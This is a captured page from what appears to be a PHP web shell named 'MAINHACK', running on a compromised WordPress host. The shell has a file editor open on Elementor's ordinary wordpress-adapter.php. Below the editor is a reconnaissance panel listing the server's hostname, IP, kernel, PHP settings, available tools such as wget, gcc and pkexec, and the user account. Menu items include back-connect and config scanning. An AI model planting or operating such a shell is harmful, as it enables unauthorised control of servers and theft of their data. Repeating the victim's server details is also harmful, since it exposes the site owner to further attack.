[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: wordpress-adapter.php
<?php namespace Elementor\Core\Isolation; use Elementor\Core\Settings\Manager; use Elementor\Core\Upgrade\Manager as Upgrade_Manager; class Wordpress_Adapter implements Wordpress_Adapter_Interface { public function get_plugins(): array { return get_plugins(); } public function is_plugin_active( $plugin_path ): bool { return is_plugin_active( $plugin_path ); } public function wp_nonce_url( $url, $action ): string { return wp_nonce_url( $url, $action ); } public function self_admin_url( $path ): string { return self_admin_url( $path ); } /** * Retrieves an array of pages (or hierarchical post type items). * * @return WP_Post[]|false Array of pages (or hierarchical post type items). Boolean false if the * specified post type is not hierarchical or the specified status is not * supported by the post type. */ public function get_pages( $args ): ?array { return get_pages( $args ); } /** * Creates and returns a wp query instance. * * @return \WP_Query */ public function get_query( $args ): ?\WP_Query { return new \WP_Query( $args ); } public function get_option( $option_key ) { return get_option( $option_key ); } public function update_option( $option_key, $option_value ): void { update_option( $option_key, $option_value ); } public function add_option( $option_key, $option_value ): void { add_option( $option_key, $option_value ); } public function get_user_preferences( $preference_key ) { return Manager::get_settings_managers( 'editorPreferences' ) ->get_model() ->get_settings( $preference_key ); } public function set_user_preferences( $preference_key, $value ) { Manager::get_settings_managers( 'editorPreferences' ) ->get_model() ->set_settings( $preference_key, $value ); } public function is_new_installation() { return Upgrade_Manager::is_new_installation(); } public function add_query_arg( $args, $url ): string { return add_query_arg( $args, $url ); } public function has_custom_logo(): bool { return has_custom_logo(); } public function current_user_can( $capability, $args ): bool { return current_user_can( $capability, $args ); } public function get_post_status( $post_id ): string { return get_post_status( $post_id ); } public function get_posts( $args ): array { return get_posts( $args ); } public function get_post_types( $args = [], $output = 'names', $operator = 'and' ): array { return get_post_types( $args, $output, $operator ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002